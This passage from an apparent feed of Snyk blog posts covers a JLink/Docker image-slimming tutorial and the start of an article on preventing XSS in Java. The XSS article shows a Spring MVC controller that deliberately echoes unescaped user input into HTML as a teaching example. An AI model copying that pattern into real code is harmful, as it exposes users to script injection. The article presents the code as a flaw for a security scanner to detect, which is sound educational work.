  Conclusion: Be a Secure Code Warrior
&lt;/h2&gt;

&lt;p&gt;As Java developers, we are the guardians of data security. Mastering symmetric encryption in Java is not just a skill; it's a responsibility. Choose the right encryption algorithms, stay updated, and empower yourself with tools like Snyk Code. Together, we can ensure a safer digital world for all.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclaimer: This article provides educational information about encryption practices. Always follow best practices and consider the latest security recommendations for your specific use cases.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Using JLink to create smaller Docker images for your Spring Boot Java application</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Fri, 22 Sep 2023 07:22:38 +0000</pubDate>
      <link>https://forem.com/brianverm/using-jlink-to-create-smaller-docker-images-for-your-spring-boot-java-application-l7i</link>
      <guid>https://forem.com/brianverm/using-jlink-to-create-smaller-docker-images-for-your-spring-boot-java-application-l7i</guid>
      <description>&lt;p&gt;originally posted on &lt;a href="https://snyk.io/blog/jlink-create-docker-images-spring-boot-java/"&gt;Snyk.io&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Containers bring new flexibility and agility to software development and deployment. However, they also introduce a new attack surface that malicious actors can exploit. A compromised container can give an attacker access to other containers and even the host system. Smaller images that contain fewer artifacts are already a great help in achieving a smaller attack surface.&lt;/p&gt;

&lt;p&gt;In this blog post, we'll present an in-depth exploration of utilizing JLink to optimize Docker image sizes, enhancing application security and performance. We'll showcase how to use JLink and integrate it with Docker to efficiently deploy your Spring Boot or general Java applications. &lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction to JLink
&lt;/h2&gt;

&lt;p&gt;Java is one of the most used programming languages for enterprise application development globally. However, developers often struggle with the size of the Docker images when deploying Java applications in Docker containers. One of the ways to solve this problem is to use JLink, a tool introduced in JDK 9.&lt;/p&gt;

&lt;p&gt;JLink (Java Linker) is a command-line tool that assembles and optimizes a set of modules and their dependencies into a custom runtime image. This essentially means it creates a minimal Java runtime environment with only the necessary modules required by your application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;jlink &lt;span class="nt"&gt;--module-path&lt;/span&gt; &lt;span class="nv"&gt;$JAVA_HOME&lt;/span&gt;/jmods:mlib &lt;span class="nt"&gt;--add-modules&lt;/span&gt; my.module &lt;span class="nt"&gt;--output&lt;/span&gt; myRunTime
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above command, &lt;code&gt;my.module&lt;/code&gt; is your module, and &lt;code&gt;myRuntime&lt;/code&gt; is the custom runtime image that JLink will create. &lt;/p&gt;

&lt;h2&gt;
  
  
  The role of JLink in creating smaller Docker images
&lt;/h2&gt;

&lt;p&gt;When creating Docker images for Java applications, the size of the image is often a concern — particularly for Spring Boot applications, which come with many dependencies. A large Docker image can lead to longer startup times, increased storage costs, and slower deployment processes.&lt;/p&gt;

&lt;p&gt;In legacy versions of Java, the Java Development Kit (JDK) came with a Java Runtime Environment (JRE). Only the JRE was needed to run the created Java artifact. Therefore, in the past, it was common to use the JRE in your Docker image or choose a JRE base image for your containers. Newer versions of Java don't always come with a JRE, although some vendors might still create a JRE and corresponding base images. You can use these or a more specific Java runtime tailored to your application.&lt;/p&gt;

&lt;p&gt;JLink enables you to create a minimal Java runtime with only the necessary modules. By doing so, it significantly reduces the size of your Docker image. For example, a standard Java runtime environment might be over 200 MB, but with JLink, you can bring it down to less than 50 MB.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using JLink for a Spring Boot Java application
&lt;/h2&gt;

&lt;p&gt;Spring Boot creates a fat JAR for your applications containing all the dependencies. In addition, many Spring Boot applications lack a module declaration. This does not have to be a problem, but we need to determine which modules the application needs and all its dependencies. &lt;/p&gt;

&lt;h3&gt;
  
  
  Using Jdeps to find the module
&lt;/h3&gt;

&lt;p&gt;Jdeps is a Java tool that shows the package-level or class-level dependencies. The tool, introduced in Java 8, can be used to understand an application's dependencies, which can then be used to create a custom runtime image using JLink.&lt;/p&gt;

&lt;p&gt;When ensuring that all our dependencies are located in one directory, we can use jdeps to print a summary of the dependencies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jdeps &lt;span class="nt"&gt;-cp&lt;/span&gt; &lt;span class="s1"&gt;'mydeps/lib/*'&lt;/span&gt; &lt;span class="nt"&gt;-recursive&lt;/span&gt; &lt;span class="nt"&gt;--multi-release&lt;/span&gt; 17 &lt;span class="nt"&gt;-s&lt;/span&gt; target/MyJar.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similarly, we can use jdeps to print all module dependencies recursively for the Spring Boot application and the dependencies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jdeps &lt;span class="nt"&gt;--ignore-missing-deps&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;  &lt;span class="nt"&gt;--recursive&lt;/span&gt;  &lt;span class="nt"&gt;--multi-release&lt;/span&gt; 17  &lt;span class="nt"&gt;--print-module-deps&lt;/span&gt;  &lt;span class="nt"&gt;--class-path&lt;/span&gt; &lt;span class="s1"&gt;'mydeps/lib/*'&lt;/span&gt;  target/MyJar.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output generated by jdeps enables JLink to create a Java Runtime that only contains the modules needed for this Spring-Boot application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Output Spring Boot dependencies into a folder
&lt;/h3&gt;

&lt;p&gt;As mentioned, Spring Boot creates a fat JAR that includes all dependencies. However, the dependencies are packed in a particular way inside the JAR and, therefore, are not easy to access by jdeps. There are two simple solutions to get the dependencies with jdeps.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Unpack the fat JAR file created by Spring Boot. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This option works great if you already have the build artifact created and are not willing or able to rebuild the application. The dependencies will be unpacked into &lt;code&gt;/BOOT/libs/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;

&lt;p&gt;Use a plugin in your build tool that copies the dependencies to a specific folder.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In Maven, this can, for instance, be achieved by using the &lt;code&gt;maven-dependency-plugin&lt;/code&gt;. In the example below, the dependencies are copied to the &lt;code&gt;/target/dependency&lt;/code&gt; folder after Maven finishes the package phase.
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;project&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- ... other configurations ... --&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;build&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;plugins&amp;gt;&lt;/span&gt;
            &lt;span class="c"&gt;&amp;lt;!-- Add the maven-dependency-plugin --&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;plugin&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.maven.plugins&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;maven-dependency-plugin&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;3.1.2&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;executions&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;execution&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;id&amp;gt;&lt;/span&gt;copy-dependencies&lt;span class="nt"&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;phase&amp;gt;&lt;/span&gt;package&lt;span class="nt"&gt;&amp;lt;/phase&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;goals&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;goal&amp;gt;&lt;/span&gt;copy-dependencies&lt;span class="nt"&gt;&amp;lt;/goal&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/goals&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;configuration&amp;gt;&lt;/span&gt;
                            &lt;span class="c"&gt;&amp;lt;!-- Configure the output directory for the dependencies --&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;outputDirectory&amp;gt;&lt;/span&gt;${project.build.directory}/dependency&lt;span class="nt"&gt;&amp;lt;/outputDirectory&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/configuration&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/execution&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/executions&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/plugin&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/plugins&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/build&amp;gt;&lt;/span&gt;

    &lt;span class="c"&gt;&amp;lt;!-- ... other configurations ... --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/project&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Building a Docker image with a custom Java Runtime
&lt;/h2&gt;

&lt;p&gt;So now, let's combine jdeps and JLink to build a custom Java Runtime. With this runtime, we can create a perfect, minimal Docker image specifically for a Spring Boot application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;maven:3-eclipse-temurin-17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; /usr/src/project
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . /usr/src/project&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /usr/src/project&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;mvn package &lt;span class="nt"&gt;-DskipTests&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;jar xf target/JavaCoffeeShop.jar
&lt;span class="k"&gt;RUN &lt;/span&gt;jdeps &lt;span class="nt"&gt;--ignore-missing-deps&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;  &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--recursive&lt;/span&gt;  &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--multi-release&lt;/span&gt; 17  &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--print-module-deps&lt;/span&gt;  &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--class-path&lt;/span&gt; &lt;span class="s1"&gt;'BOOT-INF/lib/*'&lt;/span&gt;  &lt;span class="se"&gt;\
&lt;/span&gt;    target/JavaCoffeeShop.jar &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; deps.info
&lt;span class="k"&gt;RUN &lt;/span&gt;jlink &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--add-modules&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;deps.info&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--strip-debug&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--compress&lt;/span&gt; 2 &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--no-header-files&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--no-man-pages&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nt"&gt;--output&lt;/span&gt; /myjre
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; debian:bookworm-slim&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; JAVA_HOME /user/java/jdk17&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; PATH $JAVA_HOME/bin:$PATH&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=build /myjre $JAVA_HOME&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; /project
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=build /usr/src/project/target/JavaCoffeeShop.jar /project/&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /project&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; java -jar JavaCoffeeShop.jar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the example above, I utilized a multistage Docker build. The initial building stage is based on an &lt;code&gt;eclipse-temurin&lt;/code&gt; JDK 17 image containing Maven. This stage is used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Create the Java artifact.&lt;/strong&gt; Using Maven, I create the fat executable JAR file that contains the complete application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unpack the JAR file to have all the dependencies.&lt;/strong&gt; This is only needed if you don’t use the &lt;code&gt;maven-dependency-plugin&lt;/code&gt; as described earlier. If you included it, you can skip this step&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use jdeps to get the necessary modules.&lt;/strong&gt; Point to the file containing all the dependency JAR files and the final artifact, and save the list in &lt;code&gt;deps.info&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run JLink to create a custom Java Runtime.&lt;/strong&gt; Using the &lt;code&gt;deps.info&lt;/code&gt; as input and storing it in &lt;code&gt;/myjre&lt;/code&gt;. We only add the modules needed to JLink and remove debug info, manual pages, and header files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second and final stage builds the production image based on a &lt;code&gt;debian:stable-slim&lt;/code&gt; image.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Set environment variables&lt;/strong&gt;. Set the &lt;code&gt;JAVA_HOME&lt;/code&gt; to the path I’ll copy &lt;code&gt;myjre&lt;/code&gt; to, and add &lt;code&gt;JAVA_HOME&lt;/code&gt; to the &lt;code&gt;PATH&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Copy the Java Runtime created by JLink&lt;/strong&gt;. Reference the first stage and copy the custom Java Runtime to the location defined as &lt;code&gt;JAVA_HOME&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Copy the created Java artifact.&lt;/strong&gt; The created fat executable Spring Boot JAR is copied to the dedicated project directory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set Entrypoint&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;JLink offers several advantages when it comes to creating Docker images for Spring Boot Java applications:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reduced Image Size:&lt;/strong&gt; As mentioned earlier, JLink can help reduce the size of your Docker image, leading to faster deployment and reduced storage costs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Faster Startup Times:&lt;/strong&gt; A smaller Docker image means that your application can start up faster, which is crucial for applications that need to scale quickly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security:&lt;/strong&gt; By including only the necessary modules, you reduce the attack surface of your application. Fewer modules mean fewer potential security vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Speaking of security, it's essential to mention the role of Snyk in ensuring the security of your applications. Snyk is a developer security tool that can scan your source code, open source packages, container images, and cloud configurations for vulnerabilities. With Snyk Container and Snyk Open Source, you can detect and fix security issues in your application and its dependencies — including those in your Docker images.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;snyk container &lt;span class="nb"&gt;test &lt;/span&gt;your-repo/your-image:tag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above command, &lt;code&gt;your-repo/your-image:tag&lt;/code&gt; is your Docker image. Snyk will scan it and report any detected vulnerabilities, along with suggestions on how to fix them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Create smaller and more secure Docker images for Java applications
&lt;/h2&gt;

&lt;p&gt;Be aware that the examples in this blog post are meant to showcase how to use JLink to create a more concise Docker image for your Java projects. The examples shown do not meet all the best practices for secure Docker images. If you want to know more about that, take a look at our “&lt;a href="https://snyk.io/blog/best-practices-to-build-java-containers-with-docker/"&gt;10 best practices to build a Java container with Docker&lt;/a&gt;” article for some inspiration.&lt;/p&gt;

&lt;p&gt;In conclusion, JLink is a powerful tool that can help you create smaller, more secure Docker images for your Spring Boot Java applications. Coupled with security tools like Snyk, you can ensure your applications are performant and secure. So, why wait? &lt;a href="https://app.snyk.io"&gt;Sign up for Snyk&lt;/a&gt; today and start securing your applications. &lt;/p&gt;

</description>
      <category>java</category>
      <category>containers</category>
      <category>security</category>
    </item>
    <item>
      <title>Preventing Cross-Site Scripting (XSS) in Java applications with Snyk Code</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Wed, 26 Apr 2023 19:35:24 +0000</pubDate>
      <link>https://forem.com/snyk/preventing-cross-site-scripting-xss-in-java-applications-with-snyk-code-kih</link>
      <guid>https://forem.com/snyk/preventing-cross-site-scripting-xss-in-java-applications-with-snyk-code-kih</guid>
      <description>&lt;p&gt;Java is a powerful backend programming language that can also be used to write HTML pages for web applications. However, developers must know the potential security risks associated with Cross-Site Scripting (XSS) attacks when creating these pages. With the rise of modern templating frameworks, preventing security attacks through proper input validation and encoding techniques has become easier. However, when developers choose to create their own HTML pages without using a templating framework, there is an increased risk of introducing vulnerabilities. &lt;/p&gt;

&lt;p&gt;Using, for instance, the &lt;code&gt;HttpServletResponse&lt;/code&gt; object in a Spring MVC application to write content directly to the response can create opportunities for malicious users to inject code into the page, leading to potential XSS attacks. It is, therefore, essential for developers to take steps to ensure the security of their Java web applications remains high by implementing appropriate measures to prevent XSS vulnerabilities when writing HTML pages.&lt;/p&gt;

&lt;p&gt;A solution like the one below is an easy way to implement a server-side rendered page without any fancy framework that normally comes with specific instructions. However, there are obviously some downsides to this method.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing HTML output in Spring MVC without a templating framework
&lt;/h2&gt;

&lt;p&gt;Suppose you have a web application that takes a product’s name and displays it on a web page using the &lt;code&gt;HttpServletResponse&lt;/code&gt; object. Here's an example of how you might implement this feature in a Spring MVC controller:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/direct"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;directLink&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;@RequestParam&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
   &lt;span class="nc"&gt;Product&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;productService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProductByName&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

   &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;div class=\"panel-heading\"&amp;gt;&amp;lt;h1&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

   &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;div class=\"panel-body\"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;ul&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;/ul&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDescription&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProductType&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPrice&lt;/span&gt;&lt;span class="o"&gt;()));&lt;/span&gt;
   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foot&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

   &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can you figure out what sorts of security vulnerabilities may be introduced with the above Java code?&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding XSS with Snyk Code
&lt;/h2&gt;

&lt;p&gt;When closely looking at the function above, you might already recognize at least one XSS vulnerability and maybe even two. When scanning my application with &lt;a href="https://snyk.io/product/snyk-code/" rel="noopener noreferrer"&gt;Snyk Code&lt;/a&gt; we get notified of two different XSS problems in this method.&lt;/p&gt;

&lt;p&gt;There are multiple ways to leverage Snyk Code. Let’s take a look at three different examples. The most direct way of getting feedback from Snyk Code to a developer is by installing a plugin in the IDE. We have plugins for many different IDE’s available. In the following example, I show how the IntelliJ plugin helps me find XSS problems during development.&lt;/p&gt;

&lt;p&gt;Intellij plugin output:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-product-controller.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-product-controller.jpg" alt="blog-preventing-xss-product-controller" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another option is to run Snyk Code using the Snyk CLI. Running command &lt;code&gt;snyk code test&lt;/code&gt; from the terminal will give you an output like below. This method is useful on your local machine or as part of your automatic build in a CI/CD pipeline.&lt;/p&gt;

&lt;p&gt;CLI output:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-high-vulns.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-high-vulns.jpg" alt="blog-preventing-xss-high-vulns" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The third option I want to show you, is the web UI. For this output I used the git integration with Snyk and connected my GitHub repository to the Snyk Web UI using the dashboard at &lt;a href="https://app.snyk.io" rel="noopener noreferrer"&gt;https://app.snyk.io&lt;/a&gt;. This solution scan’s the code that is committed to my repository for security vulnerabilities. &lt;/p&gt;

&lt;p&gt;Web UI output:&lt;/p&gt;

